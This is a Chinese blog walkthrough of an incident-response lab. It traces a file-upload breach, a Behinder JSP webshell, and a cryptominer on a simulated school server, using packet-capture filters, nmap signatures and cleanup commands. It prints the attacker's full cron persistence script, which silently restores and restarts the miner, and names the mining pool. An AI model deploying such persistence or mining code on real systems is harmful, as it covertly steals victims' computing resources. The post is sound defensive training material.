某学校系统中挖矿病毒应急排查

本篇文章主要记录某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包
需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马

文章目录

    • 靶机介绍
    • 1.使用工具分析共有多少IP存在扫描web特征,提交其数量
    • 2.在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
    • 3.提交存在使用NMAP扫描特征的IP
    • 4.审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口
    • 5.审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名
    • 6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名
    • 7.审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交
    • 8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址
    • 9.清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交
    • 10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径
    • 11.清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag


靶机介绍

背景:完全仿真了某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包
需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马
以及清除掉攻击者上传的挖矿程序以及后门程序,挖矿环境完全还原了真实环境,但不会出网,比较有意义,清除做了check操作,你只需要按照相关题目引导进行清除
在指定目录下查看flag提交即可,流量包在远程登录成功后/hacker2025.pcap(玄机直接以附件形式下载)
流量中被攻击机IP:192.168.37.11
SSH远程端口:2222 账号密码:root/edusec123

下载地址:点击此处
参考文章:州弟学安全

要求:

  1. 使用工具分析共有多少IP存在扫描web特征,提交其数量
  2. 在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
  3. 提交存在使用NMAP扫描特征的IP
  4. 审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口
  5. 审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名
  6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名
  7. 审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交
  8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址
  9. 清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交
  10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径
  11. 清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

1.使用工具分析共有多少IP存在扫描web特征,提交其数量

这里我们打开靶机的同时,也打开一台kali,用于端口以及服务的扫描:
在这里插入图片描述

这里由于两台机器属于同一网段,所以直接使用nmap进行扫描:

nmap 192.168.44.0/24

显示结果如下:
在这里插入图片描述

这时候我们得到目标机器的ip地址,而题目中的“使用工具分析共有多少IP存在扫描web特征”,需要我们进行流量分析;

所以登录2222端口的服务,输入账号密码:

SSH远程端口:2222
账号密码:root / edusec123

在这里插入图片描述
在这里插入图片描述

随后即可链接成功;

在这里插入图片描述

查看根目录,发现hacker流量包,把他下载到本地用工具进行分析:

在这里插入图片描述

这里我是用xshell的xftp功能进行传输到本地:
在这里插入图片描述

然后进行分析——查看有多少IP访问了192.168.37.11这个靶机,可以使用命令:
缺点:需要一个个数,比较耗时;

http and ip.dst == 192.168.37.11  # 筛选http协议且目的地址为靶机的IP地址

也可以使用别的方法:
在这里插入图片描述

然后进行过滤器条件如下,进行筛选带有扫描特征的条件,那么之前讲过,怎么判断扫描特征?
答:短时间内大量访问不存在的文件属于扫描特征,但是由于实战中每个站点"文件不存在"返回状态码不一致,可能是404、403、500、502、405等情况,那么我们可以自行测试

所以访问网站,输入一个不存在的文件,看看文件不存在的状态码是什么?
在这里插入图片描述

可以看到是404,所以我们就可以根据状态码进行筛选:

在这里插入图片描述

http.response.code==404

在这里插入图片描述

也可以放进本地工具里进行分析:

count() by 表示计数,id.orig_h表示源地址,status_code表示状态码,|表示条件分隔

在这里插入图片描述

发现还剩IP地址为29个,所以flag:

flag{29}

2.在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

这里题目给出的具体的时间范围,结合实际情况的话:
(1) 在企业中,每天可以产生几十TB的数据,要是遇到webshell入侵的话,不可能一条一条去查找;
(2)所以在确定时间范围的情况下,去筛选排除就很有必要;这就是此题的目的

根据题目,输入命令:

ip.addr == 192.168.37.10 and ip.dst == 192.168.37.11 and tcp.port == 55689

可以得到3条请求记录,追踪http流进行查看:

在这里插入图片描述

在这里插入图片描述

将他们的url分别尝试一次:

/servlet/user/uploadAvatar
/servlet/user/profile?uploadSuccess=true
/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp

分析:

  1. 第一个请求看特征就知道是上传文件
  2. 第二个看关键词就知道上传成功
  3. 第三个应该是GET访问了上传的文件

(所以这是一次任意文件上传攻击

这里根据题目,应该是url路径,但是最终结果却是一个文件名,不懂:
最终的flag为:
flag{06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}

3.提交存在使用NMAP扫描特征的IP

通常情况下,nmap扫描到web服务(80或者8080端口),就会在URL或者User-Agent里添加nmap字样,很容易辨识。
除此之外,nmap则会进行SYN扫描,FIN扫描等。

NMAP最大特征: 扫描 HTTP 时,会在 URL 及 UA 里包含 nmap 关键字特征

http.request.headers contains "Nmap"  
http.user_agent contains "Nmap"

可以发现记录,很容易得到攻击IP为192.168.37.4
在这里插入图片描述

假如对方没有扫描HTTP协议,只进行了端口扫描?
那么在nmap中使用TCP SYN扫描的情况下,可以进行筛选。

  • 基于 TCP 标志位(SYN 扫描特征)筛选
    • tcp.flags.syn == 1 && tcp.flags.ack == 0
  • 默认情况下大部分版本的nmap窗口大小为1024,当然也有其它版本的扫描可能为:2048,3072,4096
    • tcp.flags.syn == 1 and tcp.window_size == 1024 and tcp.len == 0 and ip.frag_offset == 0

在这里插入图片描述

(如果不用tcp协议,而用udp呢?当然是问AI啊。)
在这里插入图片描述

flag{192.168.37.4}

4.审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口

根据之前的结果,我们发现了任意文件上传的漏洞:
在这里插入图片描述

第二个题目的时候,看到了文件上传的操作

  • 思路:WEB 系统起码有文件上传功能
  • 如何确定可疑访问?
  • 只查看正常状态码或排除非正常状态码后进行排序

这里还是使用工具,进行筛选:

count () by id.orig_h,status_code,uri|status_code==200 | sort -r count

在这里插入图片描述
然后去wireshark筛选一下:
在这里插入图片描述
可以看到有三条访问记录,进入查看内容:(冰蝎流量)
在这里插入图片描述

这里很容易可以看出是冰蝎的流量,而题目要求的是攻击者利用的漏洞接口,所以查看上述流量包即可得到
在这里插入图片描述
在这里插入图片描述

flag{uploadAvatar}

5.审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名

回到登录页面,其实我们访问WEB端口看到是有鉴权的,那么攻击者肯定是通过注册账号进去的,有时候溯源,账号可能会有很大的用处;

在这里插入图片描述

以及账号密码的参数payload:

在这里插入图片描述

所以可以根据上述进行筛选:

ip.addr==192.168.37.10&&http.request.uri=="/servlet/user/login" 

得到结果:
在这里插入图片描述
在这里插入图片描述

可以发现,输入账号密码后,跳转到了index.jsp页面;

flag{wangyunqing}

6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名

根据之前的分析,可以知道这个jsp文件,访问的次数最多:
在这里插入图片描述

ip.addr==192.168.37.10&&http.request.uri=="/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp" 

在这里插入图片描述

随便点击进去查看,可以发现有着加密的异常流量:

在这里插入图片描述

这里使用蓝队解密工具进行分析,由于是冰蝎的默认密钥加密,所以点击“解密”即可:

在这里插入图片描述
在这里插入图片描述

多看几个,发现了木马的文件名:

在这里插入图片描述

flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}

7.审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交

check操作:就是检测我们是否清除了木马,因为以往我们只能被动去做题,没有check有很大局限性,比如增删改操作,所以当我们做了清除操作后,flag会在主机指定文件生成

登录靶机,匹配木马的文件位置,然后进行删除:

find / -name *809e2ee5.jsp 
# 这里匹配全部名字反而找不到;

也是找到了文件路径:
在这里插入图片描述

直接删除即可:

rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

在这里插入图片描述

随后即可得到flag:

flag{1979c46c2af37dc62a4b05881e816995}

8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址

使用top命令进行查看cpu使用情况,发现了异常:

在这里插入图片描述

名为java的程序使用资源异常,且PID为913;
随后ps -ef 913 查看具体情况,发现矿马

在这里插入图片描述

位于/tmp目录下,将其下载下来进行反编译:

在这里插入图片描述

可以找到矿池IP:
在这里插入图片描述

放进微步在线分析一下:

在这里插入图片描述

flag{pool.minexmr.com:4444}

9.清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交

这里删除一下miner.jar文件,查看flag即可:

rm -rf miner.jar

在这里插入图片描述

flag{da236fe0cda81bfc03d022799589110e}

10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径

我们删除后,发现过了不久,恶意进程又重新启动,所以推测存在cron定时任务:

新的PID

在这里插入图片描述

首先排查计划任务:

crontab -l  
ls -la /etc/cron*

可以发现一个定时任务,每分钟运行:

在这里插入图片描述

随后检查/etc/cron 目录下,没有发现异常:
在这里插入图片描述

查看这个sh文件的具体内容:

在这里插入图片描述

#!/bin/bashSOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"if pgrep -f "$PROCESS_NAME" > /dev/null; thenexit 0
elseecho "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"if [ ! -f "$DEST_FILE" ]; thenecho "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"cp "$SOURCE_FILE" "$DEST_FILE"chmod +x "$DEST_FILE"fiif [ -f "$DEST_FILE" ]; thennohup java -jar "$DEST_FILE" > /dev/null 2>&1 &echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"elseecho "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"fi
fi 

这段 Bash 脚本是 恶意挖矿程序的守护脚本,作用是:

  1. 监控:检查 java -jar /tmp/miner.jar 挖矿进程是否运行
  2. 自恢复:若进程/程序文件丢失,从隐藏备份(/usr/share/.miner/miner.jar)恢复并重启
  3. 隐蔽性:日志藏系统目录,进程后台静默运行,持续偷算力挖矿

危害:占满服务器资源,拖垮业务、增加成本,需立即清理文件、进程并溯源 。

flag{/usr/share/.per/persistence.sh}

11.清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

首先就是先清除定时任务,然后再去删除脚本文件,jar包;

crontab -e //编辑计划任务清除掉计划任务  
rm /usr/share/.per/persistence.sh //删除掉后门脚本程序  
rm /usr/share/.miner/miner.jarh //删除备份挖矿程序  
rm /tmp/miner.jar //删除已恢复的挖矿脚本  
kill -9 (PID) //杀掉挖矿进程

等待一分钟过后,CPU和进程都恢复正常,查看/var/flag/3/flag文件获取到flag:

flag{27bd067769b51ed71f899c7a6f08af2c}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/913666.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/913666.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue 、react前端页面支持缩放,echarts、地图点击左边不准的原因和解决办法

原因 由于以上都是通过canvas画布生成的,一旦初始化,就会按照比例进行缩放,但与此同时,比例尺并没有变化,导致坐标偏移 解决办法 设置一个zoomVal产量,在页面加载时计算缩放比例,然后在canvas容…

(LeetCode 每日一题) 1353. 最多可以参加的会议数目 (优先队列、小顶堆)

题目:1353. 最多可以参加的会议数目 思路:优先队列实现小顶堆,0(mx*logn) 在第i天,优先选endDay最小的那一个活动进行。那么遍历每一天,用小顶堆来维护每个活动的最后一天即可,细节看注释。 C版本&#xf…

Java结构型模式---代理模式

代理模式基础概念代理模式是一种结构型设计模式,其核心思想是通过创建一个代理对象来控制对另一个真实对象的访问。代理对象在客户端和真实对象之间起到中介作用,允许在不改变真实对象的前提下,对其进行增强或控制。代理模式的核心组件主题接…

MySQL流程控制函数全解析

MySQL 中的流程控制函数(也称为条件函数)允许你在 SQL 语句中进行逻辑判断,根据不同的条件返回不同的值或执行不同的操作。它们极大地增强了 SQL 的灵活性和表达能力,尤其在进行数据转换、结果格式化、条件聚合和复杂业务逻辑实现…

【7】PostgreSQL 事务

【7】PostgreSQL 事务前言使用事务事务内错误处理事务保存点DDL 事务前言 在 PostgreSQL 中,每一个操作都是一个事务。即使一个简单的查询(select),这也是一个事务。 例如: postgres# select now();now --------------------…

Linux:多线程---深入互斥浅谈同步

文章目录1. 互斥1.1 为什么需要互斥1.2 互斥锁1.3 初谈互斥与同步1.4 锁的原理1.5 可重入VS线程安全1.6 死锁1.7 避免死锁的算法(扩展)序:在上一章中我们知道了线程控制的三个角度:线程创建、线程等待和线程终止,分别从…

适用于 vue2、vue3 的自定义指定:v-int(正整数)

在项目中,我们经常会遇到输入框只允许输入数字的情况,下面是一段自定义指定 代码,复制到项目中,注册指定即可使用用法如下: 创建一个IntInput.js 文件,将下面代码复制到文件中保存在项目中的 main.js 文件中…

学习基于springboot秒杀系统-环境配置(接口封装,mybatis,mysql,redis(Linux))

文章目录前言创建springboot项目封装controller层输入输出rest api 的json输出返回页面集成mybatis集成redis下载虚拟机和centos下载redis.tar.gz上传redis.tar.gz 到虚拟机前言 今天开始记录学习秒杀系统-课程是基于慕课上的搜索秒杀系统的课程,老师讲解非常好。这…

stm32达到什么程度叫精通?

STM32达到什么程度叫精通?一个十年老兵的深度反思 前言:精通二字,重如泰山 每次有人问我"STM32达到什么程度叫精通"这个问题,我都会沉默很久。 不是因为这个问题难回答,而是因为"精通"这两个字太重…

微软上线Deep Research:OpenAI同款智能体,o3+必应双王炸

今天凌晨,微软在官网宣布,Azure AI Foundry中上线Deep Research公开预览版。这是支持API和SDK的OpenAI 高级智能体研究能力产品,并且Azure 的企业级智能体平台完全集成。Deep Research是OpenAI在今年4月25日发布的最新产品,能够像…

Spring Batch终极指南:原理、实战与性能优化

🌟 Spring Batch终极指南:原理、实战与性能优化单机日处理10亿数据?揭秘企业级批处理架构的核心引擎!一、Spring Batch 究竟是什么?Spring batch是用于创建批处理应用程序(执行一系列作业)的开源…

【Part 3 Unity VR眼镜端播放器开发与优化】第四节|高分辨率VR全景视频播放性能优化

文章目录《VR 360全景视频开发》专栏Part 3|Unity VR眼镜端播放器开发与优化第一节|基于Unity的360全景视频播放实现方案第二节|VR眼镜端的开发适配与交互设计第三节|Unity VR手势交互开发与深度优化第四节|高分辨率V…

TCP/IP协议基础

TCPIP协议基础 网络模型 -OSI参考模型 -OSI参考模型各层功能 -TCP/IP网络模型 -TCP/IP协议栈OSI参考模型 – 为了解决网络设备之间的兼容性问题,国际标准化组织ISO于1984年提出了OSI RM(开放系统互连参考模型)。 OSI参考模型一共有七层&#…

【Nginx】Nginx代理WebSocket

1.websocketWebSocket 是一种网络通信协议,它提供了在单个 TCP 连接上进行全双工(双向)通信的能力假设需求:把 ws://192.168.0.1:8088/ws-api/websocket/pushData代理到ws://192.168.0.156:8888/websocket/pushData;同…

Spring AI Alibaba Graph使用案例人类反馈

1、Spring AI Alibaba Graph 是社区核心实现之一,也是整个框架在设计理念上区别于 Spring AI 只做底层原子抽象的地方,Spring AI Alibaba 期望帮助开发者更容易的构建智能体应用。基于 Graph 开发者可以构建工作流、多智能体应用。Spring AI Alibaba Gra…

本地部署jenkins持续集成

一、准备环境(jdk版本跟Tomcat版本要匹配) java jdk 环境(版本是11.0.21) jenkins war包(版本是2.440.3) Tomcat (版本是 9.0.84) 二、安装步骤 1、安装jdk环境 1)先安装java环境,安装完成后配置环境变量,参考上…

基于Java+Maven+Testng+Selenium+Log4j+Allure+Jenkins搭建一个WebUI自动化框架(1)搭建框架基本雏形

本次框架使用Maven作为代码构建管理&#xff0c;引用了PO模式&#xff0c;将整体的代码分成了页面层、用例层、业务逻辑层。框架搭建流程&#xff1a;1、在pom.xml中引入依赖&#xff1a;<!-- https://mvnrepository.com/artifact/io.appium/java-client --> <depende…

从零构建MCP服务器:FastMCP实战指南

引言&#xff1a;MCP协议与FastMCP框架 Model Context Protocol&#xff08;MCP&#xff09;是连接AI模型与外部服务的标准化协议&#xff0c;允许LLM&#xff08;如Claude、Gemini&#xff09;调用工具、访问数据。然而&#xff0c;直接实现MCP协议需要处理JSON-RPC、会话管理…

基于FPGA的智能小车设计(包含代码)/ 全栈FPGA智能小车:Verilog实现蓝牙/语音/多传感器融合的移动平台

首先先声明一下&#xff0c;本项目已经历多轮测试&#xff0c;可以放心根据我的设计进行二次开发和直接套用&#xff01;&#xff01;&#xff01; 代码有详细的注释&#xff0c;方便同学进行学习&#xff01;&#xff01; 制作不易&#xff0c;记得三连哦&#xff0c;给我动…